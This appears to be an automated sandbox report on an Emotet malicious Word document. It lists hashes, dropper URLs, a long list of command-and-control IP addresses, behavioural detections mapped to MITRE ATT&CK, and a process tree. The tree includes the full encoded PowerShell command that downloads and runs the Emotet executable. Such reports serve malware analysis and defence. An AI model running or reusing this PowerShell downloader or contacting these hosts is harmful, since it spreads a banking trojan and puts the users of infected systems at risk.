emotet | bffc637d28966b991a1135f37d733cd4d1041f8fad86215d623d14b6b0ead577

General

Target
BAL_VFK_090120_YYB_093020.doc
Size 131KB
Sample200930-tf95e6dets
SHA256 bffc637d28966b991a1135f37d733cd4d1041f8fad86215d623d14b6b0ead577
MD5 71aa8b6212ac0991930baf26aef8a3d0
SHA1 09c5901eedae59be663d8c0dfac97b8a8dedad14
SHA512 52e4e5c6bd7c3af216120d7048d20c495cbc8c3adde711672125f70f9566241803de51862cfee546c88bb62ac94b8830788047cb2b806ba65db6948dbf90ca60
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://datvietquan.com/wp-content/wra6K/
exe.dropper
http://albasisgroup.com/wp-content/H/
exe.dropper
http://www.asmaraloka.com/wp-includes/ra5d/
exe.dropper
http://thanhthatbadinh.com/ol5auz/AQ/
exe.dropper
http://ypddf.org/en/NR/
exe.dropper
http://subramanyatemple.org/cgi-bin/0eBKO/
exe.dropper
https://daisyboots.co.uk/wp-admin/u/

Extracted

Family

emotet

C2

104.193.103.61:80
104.131.123.136:443
5.196.108.189:8080
121.124.124.40:7080
87.106.139.101:8080
213.196.135.145:80
50.35.17.13:80
38.18.235.242:80
24.43.32.186:80
82.80.155.43:80
103.86.49.11:8080
113.61.66.94:80
24.137.76.62:80
187.49.206.134:80
42.200.107.142:80
24.179.13.119:80
93.147.212.206:80
108.46.29.236:80
105.186.233.33:80
37.139.21.175:8080
61.19.246.238:443
97.82.79.83:80
78.188.106.53:443
168.235.67.138:7080
83.169.36.251:8080
89.216.122.92:80
176.111.60.55:8080
181.169.34.190:80
118.83.154.64:443
140.186.212.146:80
139.59.60.244:8080
174.106.122.139:80
194.187.133.160:443
62.30.7.67:443
68.252.26.78:80
75.139.38.211:80
130.0.132.242:80
172.104.97.173:8080
85.152.162.105:80
74.208.45.104:8080
71.15.245.148:8080
139.162.60.124:8080
62.75.141.82:80
203.153.216.189:7080
91.211.88.52:7080
96.249.236.156:443
95.213.236.64:8080
66.65.136.14:80
104.131.44.150:8080
91.146.156.228:80
79.98.24.39:8080
174.45.13.118:80
157.245.99.39:8080
80.241.255.202:8080
71.72.196.159:80
120.150.60.189:80
220.245.198.194:80
121.7.31.214:80
85.96.199.93:80
67.10.155.92:80
109.74.5.95:8080
188.219.31.12:80
162.241.242.173:8080
110.145.77.103:80
78.24.219.147:8080
47.144.21.12:443
139.99.158.11:443
110.142.236.207:80
94.23.237.171:443
50.91.114.38:80
76.175.162.101:80
46.105.131.79:8080
181.169.235.7:80
87.106.136.232:8080
5.39.91.110:7080
24.43.99.75:80
104.131.11.150:443
139.162.108.71:8080
209.141.54.221:8080
124.41.215.226:80
123.176.25.234:80
137.59.187.107:8080
216.139.123.119:80
94.200.114.161:80
79.137.83.50:443
5.196.74.210:8080
104.236.246.93:8080
137.119.36.33:80
37.187.72.193:8080
172.91.208.86:80
142.112.10.95:20
134.209.36.254:8080
190.240.194.77:443
1.221.254.82:80
185.94.252.104:443

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3060	1772	POwersheLL.exe	72

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1868-16-0x0000000002110000-0x0000000002120000-memory.dmp	emotet
behavioral2/memory/1868-16-0x0000000002110000-0x0000000002120000-memory.dmp	emotet
behavioral2/memory/2764-22-0x0000000002090000-0x00000000020A0000-memory.dmp	emotet
behavioral2/memory/2764-22-0x0000000002090000-0x00000000020A0000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
14	3060	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1868	R0cx8yuqw.exe
2764	cacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\dbgeng\cacls.exe	R0cx8yuqw.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
540	WINWORD.EXE
540	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3060	POwersheLL.exe
3060	POwersheLL.exe
3060	POwersheLL.exe
2764	cacls.exe
2764	cacls.exe
2764	cacls.exe
2764	cacls.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3060	POwersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
540	WINWORD.EXE
540	WINWORD.EXE
540	WINWORD.EXE
540	WINWORD.EXE
540	WINWORD.EXE
540	WINWORD.EXE
540	WINWORD.EXE
540	WINWORD.EXE
540	WINWORD.EXE
1868	R0cx8yuqw.exe
1868	R0cx8yuqw.exe
2764	cacls.exe
2764	cacls.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3060 wrote to memory of 1868	3060	POwersheLL.exe	78
PID 3060 wrote to memory of 1868	3060	POwersheLL.exe	78
PID 3060 wrote to memory of 1868	3060	POwersheLL.exe	78
PID 1868 wrote to memory of 2764	1868	R0cx8yuqw.exe	79
PID 1868 wrote to memory of 2764	1868	R0cx8yuqw.exe	79
PID 1868 wrote to memory of 2764	1868	R0cx8yuqw.exe	79

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\BAL_VFK_090120_YYB_093020.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:540

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABEAGwAOAB6ADgAdQBvAD0AKAAoACcARAAnACsAJwAyAHIAYgAnACkAKwAnAHUAJwArACcANgBqACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAVQBTAEUAcgBQAHIAbwBmAEkAbABFAFwAUAB1AHkAawBJADAAbABcAEQAegBLAG0ANQAzAGkAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIAZQBDAFQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABFAGMAVQByAEkAdABZAFAAcgBvAFQAYABPAGMATwBsACIAIAA9ACAAKAAoACcAdABsACcAKwAnAHMAMQAyACcAKQArACcALAAgACcAKwAoACcAdAAnACsAJwBsAHMAMQAxACwAIAAnACkAKwAoACcAdAAnACsAJwBsAHMAJwApACkAOwAkAEoAbABnAG4AdwBnAHEAIAA9ACAAKAAnAFIAMAAnACsAKAAnAGMAJwArACcAeAA4AHkAJwApACsAKAAnAHUAcQAnACsAJwB3ACcAKQApADsAJABGAHkAcwA0ADQAdwBkAD0AKAAnAEYAJwArACcAawAnACsAKAAnAGoAJwArACcAMgBrAGEAZgAnACkAKQA7ACQASwA4AGoAbQBtADMAZgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ACcAKwAnADAAfQAnACsAKAAnAFAAdQAnACsAJwB5AGsAaQAwAGwAJwApACsAJwB7ACcAKwAnADAAJwArACcAfQBEACcAKwAoACcAegAnACsAJwBrAG0ANQAnACkAKwAnADMAaQB7ADAAfQAnACkAIAAgAC0ARgAgAFsAQwBIAEEAUgBdADkAMgApACsAJABKAGwAZwBuAHcAZwBxACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABFAHIAcwBqAF8AawBwAD0AKAAnAFIAJwArACgAJwA3ADEAdwB0ACcAKwAnAHIAMgAnACkAKQA7ACQAWgBkAGQAbQB3AGcANwA9AC4AKAAnAG4AJwArACcAZQAnACsAJwB3AC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAATgBlAHQALgBXAGUAYgBDAGwAaQBFAG4AdAA7ACQARABqAG4ANgBtADIAaAA9ACgAJwBoACcAKwAnAHQAJwArACcAdABwACcAKwAoACcAOgAvAC8AZAAnACsAJwBhAHQAJwApACsAKAAnAHYAJwArACcAaQBlAHQAcQAnACkAKwAoACcAdQBhACcAKwAnAG4AJwApACsAKAAnAC4AJwArACcAYwBvACcAKQArACgAJwBtAC8AJwArACcAdwAnACkAKwAoACcAcAAtAGMAJwArACcAbwBuACcAKQArACgAJwB0AGUAJwArACcAbgB0AC8AJwApACsAJwB3AHIAJwArACcAYQA2ACcAKwAnAEsAJwArACcALwAqACcAKwAnAGgAJwArACgAJwB0ACcAKwAnAHQAcAAnACkAKwAoACcAOgAvACcAKwAnAC8AJwApACsAJwBhACcAKwAoACcAbABiAGEAcwBpAHMAZwByACcAKwAnAG8AJwApACsAJwB1AHAAJwArACgAJwAuACcAKwAnAGMAbwBtAC8AJwApACsAKAAnAHcAcAAtACcAKwAnAGMAbwAnACkAKwAnAG4AdAAnACsAJwBlACcAKwAnAG4AJwArACcAdAAvACcAKwAoACcASAAvACcAKwAnACoAaAB0AHQAJwArACcAcAA6ACcAKQArACgAJwAvAC8AJwArACcAdwB3ACcAKwAnAHcALgAnACkAKwAoACcAYQBzAG0AYQAnACsAJwByAGEAJwApACsAKAAnAGwAJwArACcAbwBrAGEALgAnACsAJwBjACcAKQArACcAbwAnACsAKAAnAG0ALwAnACsAJwB3AHAAJwApACsAKAAnAC0AaQAnACsAJwBuAGMAbAAnACsAJwB1AGQAJwArACcAZQBzAC8AcgAnACkAKwAoACcAYQAnACsAJwA1AGQAJwApACsAKAAnAC8AKgAnACsAJwBoAHQAJwArACcAdABwADoALwAvACcAKQArACgAJwB0ACcAKwAnAGgAYQBuACcAKQArACcAaAB0ACcAKwAnAGgAJwArACcAYQB0ACcAKwAoACcAYgBhAGQAaQBuACcAKwAnAGgAJwArACcALgAnACkAKwAoACcAYwAnACsAJwBvAG0AJwApACsAJwAvAG8AJwArACcAbAAnACsAJwA1ACcAKwAnAGEAJwArACgAJwB1AHoALwBBACcAKwAnAFEALwAqAGgAdAAnACsAJwB0ACcAKwAnAHAAOgAvAC8AeQAnACsAJwBwACcAKQArACcAZABkACcAKwAnAGYAJwArACcALgAnACsAJwBvACcAKwAoACcAcgBnACcAKwAnAC8AZQBuAC8AJwApACsAKAAnAE4AUgAnACsAJwAvACoAJwApACsAJwBoACcAKwAnAHQAdAAnACsAJwBwADoAJwArACgAJwAvAC8AcwB1AGIAcgAnACsAJwBhAG0AJwArACcAYQAnACsAJwBuAHkAJwArACcAYQB0AGUAbQBwACcAKQArACcAbAAnACsAKAAnAGUALgAnACsAJwBvACcAKQArACgAJwByAGcAJwArACcALwBjAGcAJwApACsAJwBpACcAKwAoACcALQBiAGkAJwArACcAbgAnACsAJwAvADAAZQBCAEsATwAvACcAKQArACgAJwAqACcAKwAnAGgAdAAnACsAJwB0AHAAcwA6AC8AJwApACsAJwAvACcAKwAnAGQAYQAnACsAJwBpACcAKwAoACcAcwB5AGIAbwBvAHQAJwArACcAcwAnACsAJwAuACcAKQArACgAJwBjACcAKwAnAG8ALgAnACkAKwAnAHUAawAnACsAKAAnAC8AdwAnACsAJwBwAC0AJwApACsAKAAnAGEAZABtAGkAJwArACcAbgAnACsAJwAvAHUALwAnACkAKQAuACIAcwBQAGwAYABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABDAGgAbgAyADcAbAAwAD0AKAAnAFkAJwArACgAJwA0ACcAKwAnAHgAMAB6ACcAKQArACcAOAB5ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEQAZABmAHkAZwB1ADAAIABpAG4AIAAkAEQAagBuADYAbQAyAGgAKQB7AHQAcgB5AHsAJABaAGQAZABtAHcAZwA3AC4AIgBEAG8AYAB3AGAATgBsAG8AQQBEAGYAYABpAGwARQAiACgAJABEAGQAZgB5AGcAdQAwACwAIAAkAEsAOABqAG0AbQAzAGYAKQA7ACQATQB3AHMAZAA5AG0AMgA9ACgAKAAnAEcAJwArACcAZwBlADkAJwApACsAKAAnADgAcgAnACsAJwBpACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEsAOABqAG0AbQAzAGYAKQAuACIAbABgAEUAbgBHAFQAaAAiACAALQBnAGUAIAAzADUAMQA1ADUAKQAgAHsALgAoACcASQBuAHYAJwArACcAbwAnACsAJwBrAGUALQBJAHQAZQBtACcAKQAoACQASwA4AGoAbQBtADMAZgApADsAJABVAHkAYwB5AHAAbwA2AD0AKAAnAFEAJwArACgAJwBsACcAKwAnAGgAeAAnACkAKwAoACcAcQAnACsAJwB3ADMAJwApACkAOwBiAHIAZQBhAGsAOwAkAFIAZgA4ADAAeQB0ADEAPQAoACcATAAnACsAJwByACcAKwAoACcAMQBoACcAKwAnAGEAMAByACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABXAHEAOABpAHcAbgBiAD0AKAAnAFEAdQAnACsAJwBsACcAKwAoACcAYgB1AGsAJwArACcANAAnACkAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3060
- C:\Users\Admin\Puyki0l\Dzkm53i\R0cx8yuqw.exe
  "C:\Users\Admin\Puyki0l\Dzkm53i\R0cx8yuqw.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1868
- - C:\Windows\SysWOW64\dbgeng\cacls.exe
    "C:\Windows\SysWOW64\dbgeng\cacls.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2764

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/540-4-0x000002519E761000-0x000002519E76F000-memory.dmp

Download

memory/540-3-0x000002519E761000-0x000002519E76F000-memory.dmp

Download

memory/540-5-0x000002519E63C000-0x000002519E651000-memory.dmp

Download

memory/540-6-0x00000251A09C9000-0x00000251A09E9000-memory.dmp

Download

memory/540-1-0x000002519E761000-0x000002519E76F000-memory.dmp

Download

memory/540-0-0x00007FFA864E0000-0x00007FFA86BA6000-memory.dmp

Download

memory/540-2-0x000002519E76E000-0x000002519E770000-memory.dmp

Download

memory/1868-16-0x0000000002110000-0x0000000002120000-memory.dmp

Download

memory/2764-22-0x0000000002090000-0x00000000020A0000-memory.dmp

Download

memory/3060-9-0x0000023434DE0000-0x0000023434DE1000-memory.dmp

Download

memory/3060-8-0x0000023434AB0000-0x0000023434AB1000-memory.dmp

Download

memory/3060-7-0x00007FFA7F020000-0x00007FFA7FA0C000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads